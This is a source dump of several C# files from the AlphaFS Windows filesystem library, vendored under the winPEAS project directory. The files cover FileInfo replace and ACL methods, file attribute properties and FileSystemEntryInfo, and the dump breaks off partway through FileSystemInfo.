winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.Replace.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Security; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { #region .NET /// Replaces the contents of a specified file with the file described by the current object, deleting the original file, and creating a backup of the replaced file. /// A object that encapsulates information about the file described by the parameter. /// /// The Replace method replaces the contents of a specified file with the contents of the file described by the current /// object. It also creates a backup of the file that was replaced. Finally, it returns a new /// object that describes the overwritten file. /// /// Pass null to the parameter if you do not want to create a backup of the file being replaced. /// The name of a file to replace with the current file. /// The name of a file with which to create a backup of the file described by the parameter. [SecurityCritical] public FileInfo Replace(string destinationFileName, string destinationBackupFileName) { return Replace(destinationFileName, destinationBackupFileName, false, PathFormat.RelativePath); } /// Replaces the contents of a specified file with the file described by the current object, deleting the original file, and creating a backup of the replaced file. Also specifies whether to ignore merge errors. /// A object that encapsulates information about the file described by the parameter. /// /// The Replace method replaces the contents of a specified file with the contents of the file described by the current /// object. It also creates a backup of the file that was replaced. Finally, it returns a new /// object that describes the overwritten file. /// /// Pass null to the parameter if you do not want to create a backup of the file being replaced. /// The name of a file to replace with the current file. /// The name of a file with which to create a backup of the file described by the parameter. /// true to ignore merge errors (such as attributes and ACLs) from the replaced file to the replacement file; otherwise, false. [SecurityCritical] public FileInfo Replace(string destinationFileName, string destinationBackupFileName, bool ignoreMetadataErrors) { return Replace(destinationFileName, destinationBackupFileName, ignoreMetadataErrors, PathFormat.RelativePath); } #endregion // .NET /// [AlphaFS] Replaces the contents of a specified file with the file described by the current object, deleting the original file, and creating a backup of the replaced file. Also specifies whether to ignore merge errors. /// A object that encapsulates information about the file described by the parameter. /// /// The Replace method replaces the contents of a specified file with the contents of the file described by the current /// object. It also creates a backup of the file that was replaced. Finally, it returns a new /// object that describes the overwritten file. /// /// Pass null to the parameter if you do not want to create a backup of the file being replaced. /// The name of a file to replace with the current file. /// The name of a file with which to create a backup of the file described by the parameter. /// Indicates the format of the path parameter(s). [SecurityCritical] public FileInfo Replace(string destinationFileName, string destinationBackupFileName, PathFormat pathFormat) { return Replace(destinationFileName, destinationBackupFileName, false, pathFormat); } /// [AlphaFS] Replaces the contents of a specified file with the file described by the current object, deleting the original file, and creating a backup of the replaced file. Also specifies whether to ignore merge errors. /// A object that encapsulates information about the file described by the parameter. /// /// The Replace method replaces the contents of a specified file with the contents of the file described by the current /// object. It also creates a backup of the file that was replaced. Finally, it returns a new /// object that describes the overwritten file. /// /// Pass null to the parameter if you do not want to create a backup of the file being replaced. /// The name of a file to replace with the current file. /// The name of a file with which to create a backup of the file described by the parameter. /// true to ignore merge errors (such as attributes and ACLs) from the replaced file to the replacement file; otherwise, false. /// Indicates the format of the path parameter(s). [SecurityCritical] public FileInfo Replace(string destinationFileName, string destinationBackupFileName, bool ignoreMetadataErrors, PathFormat pathFormat) { const GetFullPathOptions options = GetFullPathOptions.RemoveTrailingDirectorySeparator | GetFullPathOptions.FullCheck; var destinationFileNameLp = Path.GetExtendedLengthPathCore(Transaction, destinationFileName, pathFormat, options); var destinationBackupFileNameLp = destinationBackupFileName != null ? Path.GetExtendedLengthPathCore(Transaction, destinationBackupFileName, pathFormat, options) : null; File.ReplaceCore(LongFullName, destinationFileNameLp, destinationBackupFileNameLp, ignoreMetadataErrors, PathFormat.LongFullPath); return new FileInfo(Transaction, destinationFileNameLp, PathFormat.LongFullPath); } } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.SetAccessControl.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System.Diagnostics.CodeAnalysis; using System.Security; using System.Security.AccessControl; namespace Alphaleonis.Win32.Filesystem { partial class FileInfo { #region .NET /// Applies access control list (ACL) entries described by a FileSecurity object to the file described by the current FileInfo object. /// /// The SetAccessControl method applies access control list (ACL) entries to the current file that represents the noninherited ACL /// list. Use the SetAccessControl method whenever you need to add or remove ACL entries from a file. /// /// A object that describes an access control list (ACL) entry to apply to the current file. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public void SetAccessControl(FileSecurity fileSecurity) { File.SetAccessControlCore(LongFullName, null, fileSecurity, AccessControlSections.All, PathFormat.LongFullPath); } /// Applies access control list (ACL) entries described by a FileSecurity object to the file described by the current FileInfo object. /// /// The SetAccessControl method applies access control list (ACL) entries to the current file that represents the noninherited ACL /// list. Use the SetAccessControl method whenever you need to add or remove ACL entries from a file. /// /// A object that describes an access control list (ACL) entry to apply to the current file. /// One or more of the values that specifies the type of access control list (ACL) information to set. [SuppressMessage("Microsoft.Design", "CA1011:ConsiderPassingBaseTypesAsParameters")] [SecurityCritical] public void SetAccessControl(FileSecurity fileSecurity, AccessControlSections includeSections) { File.SetAccessControlCore(LongFullName, null, fileSecurity, includeSections, PathFormat.LongFullPath); } #endregion // .NET } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileInfo Class/FileInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.Globalization; using System.IO; using System.Security; using winPEAS._3rdParty.AlphaFS; namespace Alphaleonis.Win32.Filesystem { /// Provides properties and instance methods for the creation, copying, deletion, moving, and opening of files, and aids in the creation of objects. This class cannot be inherited. [Serializable] public sealed partial class FileInfo : FileSystemInfo { #region Fields [NonSerialized] private string _name; #endregion // Fields #region Constructors #region .NET /// Initializes a new instance of the class, which acts as a wrapper for a file path. /// The fully qualified name of the new file, or the relative file name. Do not end the path with the directory separator character. /// This constructor does not check if a file exists. This constructor is a placeholder for a string that is used to access the file in subsequent operations. public FileInfo(string fileName) : this(null, fileName, PathFormat.RelativePath) { } #endregion // .NET /// [AlphaFS] Initializes a new instance of the class, which acts as a wrapper for a file path. /// The fully qualified name of the new file, or the relative file name. Do not end the path with the directory separator character. /// Indicates the format of the path parameter(s). /// This constructor does not check if a file exists. This constructor is a placeholder for a string that is used to access the file in subsequent operations. public FileInfo(string fileName, PathFormat pathFormat) : this(null, fileName, pathFormat) { } /// [AlphaFS] Initializes a new instance of the class, which acts as a wrapper for a file path. /// The transaction. /// The fully qualified name of the new file, or the relative file name. Do not end the path with the directory separator character. /// This constructor does not check if a file exists. This constructor is a placeholder for a string that is used to access the file in subsequent operations. public FileInfo(KernelTransaction transaction, string fileName) : this(transaction, fileName, PathFormat.RelativePath) { } /// [AlphaFS] Initializes a new instance of the class, which acts as a wrapper for a file path. /// The transaction. /// The fully qualified name of the new file, or the relative file name. Do not end the path with the directory separator character. /// Indicates the format of the path parameter(s). /// This constructor does not check if a file exists. This constructor is a placeholder for a string that is used to access the file in subsequent operations. public FileInfo(KernelTransaction transaction, string fileName, PathFormat pathFormat) { InitializeCore(transaction, false, fileName, pathFormat); _name = Path.GetFileName(Path.RemoveTrailingDirectorySeparator(fileName), pathFormat != PathFormat.LongFullPath); } #endregion // Constructors #region Properties #region .NET /// Gets an instance of the parent directory. /// A object representing the parent directory of this file. /// To get the parent directory as a string, use the DirectoryName property. /// public DirectoryInfo Directory { get { var dirName = DirectoryName; return dirName == null ? null : new DirectoryInfo(Transaction, dirName, PathFormat.FullPath); } } /// Gets a string representing the directory's full path. /// A string representing the directory's full path. /// /// To get the parent directory as a DirectoryInfo object, use the Directory property. /// When first called, FileInfo calls Refresh and caches information about the file. /// On subsequent calls, you must call Refresh to get the latest copy of the information. /// /// public string DirectoryName { [SecurityCritical] get { return Path.GetDirectoryName(FullPath, false); } } /// Gets a value indicating whether the file exists. /// true if the file exists; otherwise, false. /// /// The property returns false if any error occurs while trying to determine if the specified file exists. /// This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters, /// a failing or missing disk, or if the caller does not have permission to read the file. /// [SuppressMessage("Microsoft.Design", "CA1031:DoNotCatchGeneralExceptionTypes")] public override bool Exists { [SecurityCritical] get { try { if (DataInitialised == -1) Refresh(); var attrs = Win32AttributeData.dwFileAttributes; return DataInitialised == 0 && File.HasValidAttributes(attrs) && !IsDirectory; } catch { return false; } } } /// Gets or sets a value that determines if the current file is read only. /// true if the current file is read only; otherwise, false. /// /// Use the IsReadOnly property to quickly determine or change whether the current file is read only. /// When first called, FileInfo calls Refresh and caches information about the file. /// On subsequent calls, you must call Refresh to get the latest copy of the information. /// /// /// public bool IsReadOnly { get { return EntryInfo == null || EntryInfo.IsReadOnly; } set { if (value) Attributes |= FileAttributes.ReadOnly; else Attributes &= ~FileAttributes.ReadOnly; } } /// Gets the size, in bytes, of the current file. /// The size of the current file in bytes. /// /// The value of the Length property is pre-cached /// To get the latest value, call the Refresh method. /// /// /// [SuppressMessage("Microsoft.Design", "CA1065:DoNotRaiseExceptionsInUnexpectedLocations")] public long Length { [SecurityCritical] get { if (DataInitialised == -1) { Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(); Refresh(); } // MSDN: .NET 3.5+: IOException: Refresh cannot initialize the data. if (DataInitialised != 0) NativeError.ThrowException(DataInitialised, FullName); var attrs = Win32AttributeData.dwFileAttributes; // MSDN: .NET 3.5+: FileNotFoundException: The file does not exist or the Length property is called for a directory. if (!File.HasValidAttributes(attrs)) NativeError.ThrowException(Win32Errors.ERROR_FILE_NOT_FOUND, FullName); // MSDN: .NET 3.5+: FileNotFoundException: The file does not exist or the Length property is called for a directory. if (File.IsDirectory(attrs)) NativeError.ThrowException(Win32Errors.ERROR_FILE_NOT_FOUND, string.Format(CultureInfo.InvariantCulture, Resources.Target_File_Is_A_Directory, FullName)); return Win32AttributeData.FileSize; } } /// Gets the name of the file. /// The name of the file. /// /// The name of the file includes the file extension. /// When first called, calls Refresh and caches information about the file. /// On subsequent calls, you must call Refresh to get the latest copy of the information. /// The name of the file includes the file extension. /// public override string Name { get { return _name; } } #endregion // .NET #endregion // Properties #region Methods /// Returns the path as a string. /// The path. public override string ToString() { return DisplayPath; } #endregion // Methods } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileSystemEntryInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.IO; using System.Security; namespace Alphaleonis.Win32.Filesystem { /// Represents information about a file system entry. /// This class cannot be inherited. /// [Serializable] [SecurityCritical] public sealed class FileSystemEntryInfo : IEquatable { #region Fields private string _fullPath; private string _longFullPath; #endregion // Fields #region Constructor /// Initializes a new instance of the class. /// The NativeMethods.WIN32_FIND_DATA structure. internal FileSystemEntryInfo(NativeMethods.WIN32_FIND_DATA findData) { Win32FindData = findData; } #endregion // Constructor #region Properties /// The instance 8.3 version of the filename. public string AlternateFileName { // This property is always empty when NativeMethods.FINDEX_INFO_LEVELS.Basic is used. get { return Win32FindData.cAlternateFileName; } } /// The instance attributes. public FileAttributes Attributes { get { return Win32FindData.dwFileAttributes; } } /// The instance creation time. public DateTime CreationTime { get { return CreationTimeUtc.ToLocalTime(); } } /// The instance creation time, in coordinated universal time (UTC). public DateTime CreationTimeUtc { get { return DateTime.FromFileTimeUtc(Win32FindData.ftCreationTime); } } /// The instance file extension. public string Extension { get { return Path.GetExtension(Win32FindData.cFileName, false); } } /// The instance file name. public string FileName { get { return Win32FindData.cFileName; } } /// The instance file size. public long FileSize { get { return NativeMethods.ToLong(Win32FindData.nFileSizeHigh, Win32FindData.nFileSizeLow); } } /// The instance full path. public string FullPath { get { return _fullPath; } set { LongFullPath = value; _fullPath = Path.GetRegularPathCore(LongFullPath, GetFullPathOptions.None, false); } } /// The instance is a candidate for backup or removal. public bool IsArchive { get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Archive) != 0; } } /// The instance is compressed. public bool IsCompressed { get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Compressed) != 0; } } /// Reserved for future use. public bool IsDevice { get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Device) != 0; } } /// The instance is a directory. public bool IsDirectory { get { return File.IsDirectory(Attributes); } } /// The instance is encrypted. For a file, this means that all data in the file is encrypted. For a directory, this means that encryption is the default for newly created files and directories. public bool IsEncrypted { get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Encrypted) != 0; } } /// The instance is hidden, and thus is not included in an ordinary directory listing. public bool IsHidden { get { return File.IsHidden(Attributes); } } /// The instance is a mount point. Applicable to local directories and local volumes. public bool IsMountPoint { get { return ReparsePointTag == ReparsePointTag.MountPoint; } } /// The instance is a standard file that has no special attributes. This attribute is valid only if it is used alone. public bool IsNormal { get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Normal) != 0; } } /// The instance will not be indexed by the operating system's content indexing service. public bool IsNotContentIndexed { get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.NotContentIndexed) != 0; } } /// The instance is offline. The data of the file is not immediately available. public bool IsOffline { get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Offline) != 0; } } /// The instance is read-only. public bool IsReadOnly { get { return File.IsReadOnly(Attributes); } } /// The instance contains a reparse point, which is a block of user-defined data associated with a file or a directory. public bool IsReparsePoint { get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.ReparsePoint) != 0; } } /// The instance is a sparse file. Sparse files are typically large files whose data consists of mostly zeros. public bool IsSparseFile { get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.SparseFile) != 0; } } /// The instance is a symbolic link. public bool IsSymbolicLink { get { return ReparsePointTag == ReparsePointTag.SymLink; } } /// The instance is a system file. That is, the file is part of the operating system or is used exclusively by the operating system. public bool IsSystem { get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.System) != 0; } } /// The instance is temporary. A temporary file contains data that is needed while an application is executing but is not needed after the application is finished. /// File systems try to keep all the data in memory for quicker access rather than flushing the data back to mass storage. /// A temporary file should be deleted by the application as soon as it is no longer needed. public bool IsTemporary { get { return File.HasValidAttributes(Attributes) && (Attributes & FileAttributes.Temporary) != 0; } } /// The instance time this entry was last accessed. public DateTime LastAccessTime { get { return LastAccessTimeUtc.ToLocalTime(); } } /// The instance time, in coordinated universal time (UTC), this entry was last accessed. public DateTime LastAccessTimeUtc { get { return DateTime.FromFileTimeUtc(Win32FindData.ftLastAccessTime); } } /// The instance time this entry was last modified. public DateTime LastWriteTime { get { return LastWriteTimeUtc.ToLocalTime(); } } /// The instance time, in coordinated universal time (UTC), this entry was last modified. public DateTime LastWriteTimeUtc { get { return DateTime.FromFileTimeUtc(Win32FindData.ftLastWriteTime); } } /// The instance full path in long path format. public string LongFullPath { get { return _longFullPath; } private set { _longFullPath = Path.GetLongPathCore(value, GetFullPathOptions.None); } } /// The instance reparse point tag. public ReparsePointTag ReparsePointTag { get { return IsReparsePoint ? Win32FindData.dwReserved0 : ReparsePointTag.None; } } /// The instance internal WIN32 FIND Data internal NativeMethods.WIN32_FIND_DATA Win32FindData { get; private set; } #endregion // Properties #region Methods /// Returns the of the FileSystemEntryInfo instance. /// Returns the of the FileSystemEntryInfo instance. public override string ToString() { return FullPath; } /// Serves as a hash function for a particular type. /// A hash code for the current Object. public override int GetHashCode() { return Utils.CombineHashCodesOf(FullPath, LongFullPath); } /// Determines whether the specified Object is equal to the current Object. /// Another instance to compare to. /// true if the specified Object is equal to the current Object; otherwise, false. public bool Equals(FileSystemEntryInfo other) { return null != other && GetType() == other.GetType() && Equals(FileName, other.FileName) && Equals(FullPath, other.FullPath) && Equals(Attributes, other.Attributes) && Equals(CreationTimeUtc, other.CreationTimeUtc) && Equals(LastAccessTimeUtc, other.LastAccessTimeUtc); } /// Determines whether the specified Object is equal to the current Object. /// Another object to compare to. /// true if the specified Object is equal to the current Object; otherwise, false. public override bool Equals(object obj) { var other = obj as FileSystemEntryInfo; return null != other && Equals(other); } /// Implements the operator == /// A. /// B. /// The result of the operator. public static bool operator ==(FileSystemEntryInfo left, FileSystemEntryInfo right) { return ReferenceEquals(left, null) && ReferenceEquals(right, null) || !ReferenceEquals(left, null) && !ReferenceEquals(right, null) && left.Equals(right); } /// Implements the operator != /// A. /// B. /// The result of the operator. public static bool operator !=(FileSystemEntryInfo left, FileSystemEntryInfo right) { return !(left == right); } #endregion // Methods } } ================================================ FILE: winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/FileSystemInfo.cs ================================================ /* Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov * * Permission is hereby granted, free of charge, to any person obtaining a copy * of this software and associated documentation files (the "Software"), to deal * in the Software without restriction, including without limitation the rights * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell * copies of the Software, and to permit persons to whom the Software is * furnished to do so, subject to the following conditions: * * The above copyright notice and this permission notice shall be included in * all copies or substantial portions of the Software. * * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN * THE SOFTWARE. */ using System; using System.Diagnostics.CodeAnalysis; using System.IO; using System.Runtime.InteropServices; using System.Security; namespace Alphaleonis.Win32.Filesystem { /// Provides the base class for both and objects. [Serializable] [ComVisible(true)] public abstract class FileSystemInfo : MarshalByRefObject, IEquatable { #region Fields #region .NET /// Represents the fully qualified path of the file or directory. /// /// Classes derived from can use the FullPath field /// to determine the full path of the object being manipulated. /// [SuppressMessage("Microsoft.Design", "CA1051:DoNotDeclareVisibleInstanceFields")] protected string FullPath; /// The path originally specified by the user, whether relative or absolute. [SuppressMessage("Microsoft.Design", "CA1051:DoNotDeclareVisibleInstanceFields")] protected string OriginalPath; #endregion // .NET // We use this field in conjunction with the Refresh methods, if we succeed we store a zero, // on failure we store the HResult in it so that we can give back a generic error back. [NonSerialized] internal int DataInitialised = -1; // The pre-cached FileSystemInfo information. [NonSerialized] internal NativeMethods.WIN32_FILE_ATTRIBUTE_DATA Win32AttributeData; #endregion // Fields #region Properties #region .NET /// Gets or sets the attributes for the current file or directory. /// /// The value of the CreationTime property is pre-cached /// To get the latest value, call the Refresh method. /// /// of the current . /// /// /// /// public FileAttributes Attributes { [SecurityCritical] get { if (DataInitialised == -1) { Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(); Refresh(); } // MSDN: .NET 3.5+: IOException: Refresh cannot initialize the data. if (DataInitialised != 0) NativeError.ThrowException(DataInitialised, FullPath); return Win32AttributeData.dwFileAttributes; } [SecurityCritical] set { File.SetAttributesCore(Transaction, IsDirectory, LongFullName, value, PathFormat.LongFullPath); Reset(); } } /// Gets or sets the creation time of the current file or directory. /// /// The value of the CreationTime property is pre-cached To get the latest value, call the Refresh method. /// This method may return an inaccurate value, because it uses native functions whose values may not be continuously updated by /// the operating system. /// If the file described in the FileSystemInfo object does not exist, this property will return /// 12:00 midnight, January 1, 1601 A.D. (C.E.) Coordinated Universal Time (UTC), adjusted to local time. /// NTFS-formatted drives may cache file meta-info, such as file creation time, for a short period of time. /// This process is known as file tunneling. As a result, it may be necessary to explicitly set the creation time of a file if you are /// overwriting or replacing an existing file. /// /// The creation date and time of the current object. /// /// /// public DateTime CreationTime { [SecurityCritical] get { return CreationTimeUtc.ToLocalTime(); } [SecurityCritical] set { CreationTimeUtc = value.ToUniversalTime(); } } /// Gets or sets the creation time, in coordinated universal time (UTC), of the current file or directory. /// /// The value of the CreationTimeUtc property is pre-cached /// To get the latest value, call the Refresh method. /// This method may return an inaccurate value, because it uses native functions /// whose values may not be continuously updated by the operating system. /// To get the latest value, call the Refresh method. /// If the file described in the FileSystemInfo object does not exist, this property will return /// 12:00 midnight, January 1, 1601 A.D. (C.E.) Coordinated Universal Time (UTC). /// NTFS-formatted drives may cache file meta-info, such as file creation time, for a short period of time. /// This process is known as file tunneling. As a result, it may be necessary to explicitly set the creation time /// of a file if you are overwriting or replacing an existing file. /// /// The creation date and time in UTC format of the current object. /// /// /// [ComVisible(false)] public DateTime CreationTimeUtc { [SecurityCritical] get { if (DataInitialised == -1) { Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(); Refresh(); } // MSDN: .NET 3.5+: IOException: Refresh cannot initialize the data. if (DataInitialised != 0) NativeError.ThrowException(DataInitialised, LongFullName); return DateTime.FromFileTimeUtc(Win32AttributeData.ftCreationTime); } [SecurityCritical] set { File.SetFsoDateTimeCore(Transaction, IsDirectory, LongFullName, value, null, null, false, PathFormat.LongFullPath); Reset(); } } /// Gets a value indicating whether the file or directory exists. /// /// The property returns false if any error occurs while trying to determine if the /// specified file or directory exists. /// This can occur in situations that raise exceptions such as passing a directory- or file name with invalid characters or too /// many characters, /// a failing or missing disk, or if the caller does not have permission to read the file or directory. /// /// true if the file or directory exists; otherwise, false. public abstract bool Exists { get; } /// Gets the string representing the extension part of the file. /// /// The Extension property returns the extension, including the period (.). /// For example, for a file c:\NewFile.txt, this property returns ".txt". /// /// A string containing the extension. public string Extension { get { return Path.GetExtension(FullPath, false); } } /// Gets the full path of the directory or file. /// A string containing the full path. public virtual string FullName { [SecurityCritical] get { return FullPath; } } /// Gets or sets the time the current file or directory was last accessed. /// /// The value of the LastAccessTime property is pre-cached /// To get the latest value, call the Refresh method. /// This method may return an inaccurate value, because it uses native functions /// whose values may not be continuously updated by the operating system. /// If the file described in the FileSystemInfo object does not exist, this property will return /// 12:00 midnight, January 1, 1601 A.D. (C.E.) Coordinated Universal Time (UTC), adjusted to local time. /// /// The time that the current file or directory was last accessed. /// /// public DateTime LastAccessTime { [SecurityCritical] get { return LastAccessTimeUtc.ToLocalTime(); } [SecurityCritical] set { LastAccessTimeUtc = value.ToUniversalTime(); } } /// Gets or sets the time, in coordinated universal time (UTC), that the current file or directory was last accessed. /// /// The value of the LastAccessTimeUtc property is pre-cached. /// To get the latest value, call the Refresh method. /// This method may return an inaccurate value, because it uses native functions /// whose values may not be continuously updated by the operating system. /// If the file described in the FileSystemInfo object does not exist, this property will return /// 12:00 midnight, January 1, 1601 A.D. (C.E.) Coordinated Universal Time (UTC), adjusted to local time. /// /// The UTC time that the current file or directory was last accessed. /// /// [ComVisible(false)] public DateTime LastAccessTimeUtc { [SecurityCritical] get { if (DataInitialised == -1) { Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(); Refresh(); } // MSDN: .NET 3.5+: IOException: Refresh cannot initialize the data. if (DataInitialised != 0) NativeError.ThrowException(DataInitialised, LongFullName); return DateTime.FromFileTimeUtc(Win32AttributeData.ftLastAccessTime); } [SecurityCritical] set { File.SetFsoDateTimeCore(Transaction, IsDirectory, LongFullName, null, value, null, false, PathFormat.LongFullPath); Reset(); } } /// Gets or sets the time when the current file or directory was last written to. /// /// The value of the LastWriteTime property is pre-cached. /// To get the latest value, call the Refresh method. /// This method may return an inaccurate value, because it uses native functions /// whose values may not be continuously updated by the operating system. /// If the file described in the FileSystemInfo object does not exist, this property will return /// 12:00 midnight, January 1, 1601 A.D. (C.E.) Coordinated Universal Time (UTC), adjusted to local time. /// /// The time the current file was last written. /// /// public DateTime LastWriteTime { get { return LastWriteTimeUtc.ToLocalTime(); } set { LastWriteTimeUtc = value.ToUniversalTime(); } } /// Gets or sets the time, in coordinated universal time (UTC), when the current file or directory was last written to. /// /// The value of the LastWriteTimeUtc property is pre-cached. To get the latest value, call the Refresh method. /// This method may return an inaccurate value, because it uses native functions whose values may not be continuously updated by /// the operating system. /// If the file described in the FileSystemInfo object does not exist, this property will return 12:00 midnight, January 1, 1601 /// A.D. (C.E.) Coordinated Universal Time (UTC), adjusted to local time. /// /// The UTC time when the current file was last written to. [ComVisible(false)] public DateTime LastWriteTimeUtc { [SecurityCritical] get { if (DataInitialised == -1) { Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(); Refresh(); } // MSDN: .NET 3.5+: IOException: Refresh cannot initialize the data. if (DataInitialised != 0) NativeError.ThrowException(DataInitialised, LongFullName); return DateTime.FromFileTimeUtc(Win32AttributeData.ftLastWriteTime); } [SecurityCritical] set { File.SetFsoDateTimeCore(Transaction, IsDirectory, LongFullName, null, null, value, false, PathFormat.LongFullPath); Reset(); } } /// /// For files, gets the name of the file. For directories, gets the name of the last directory in the hierarchy if a hierarchy exists. /// Otherwise, the Name property gets the name of the directory. /// /// /// For a directory, Name returns only the name of the parent directory, such as Dir, not c:\Dir. /// For a subdirectory, Name returns only the name of the subdirectory, such as Sub1, not c:\Dir\Sub1. /// For a file, Name returns only the file name and file name extension, such as MyFile.txt, not c:\Dir\Myfile.txt. /// /// /// A string that is the name of the parent directory, the name of the last directory in the hierarchy, /// or the name of a file, including the file name extension. /// public abstract string Name { get; } #endregion // .NET #region AlphaFS /// Returns the path as a string. protected internal string DisplayPath { get; protected set; } private FileSystemEntryInfo _entryInfo; /// [AlphaFS] Gets the instance of the class. public FileSystemEntryInfo EntryInfo { [SecurityCritical] get { if (null == _entryInfo) { Win32AttributeData = new NativeMethods.WIN32_FILE_ATTRIBUTE_DATA(); RefreshEntryInfo(); } // MSDN: .NET 3.5+: IOException: Refresh cannot initialize the data. if (DataInitialised > 0) NativeError.ThrowException(DataInitialised, LongFullName); return _entryInfo; } internal set { _entryInfo = value; DataInitialised = value == null ? -1 : 0; if (DataInitialised == 0 && null != _entryInfo) Win32AttributeData = new 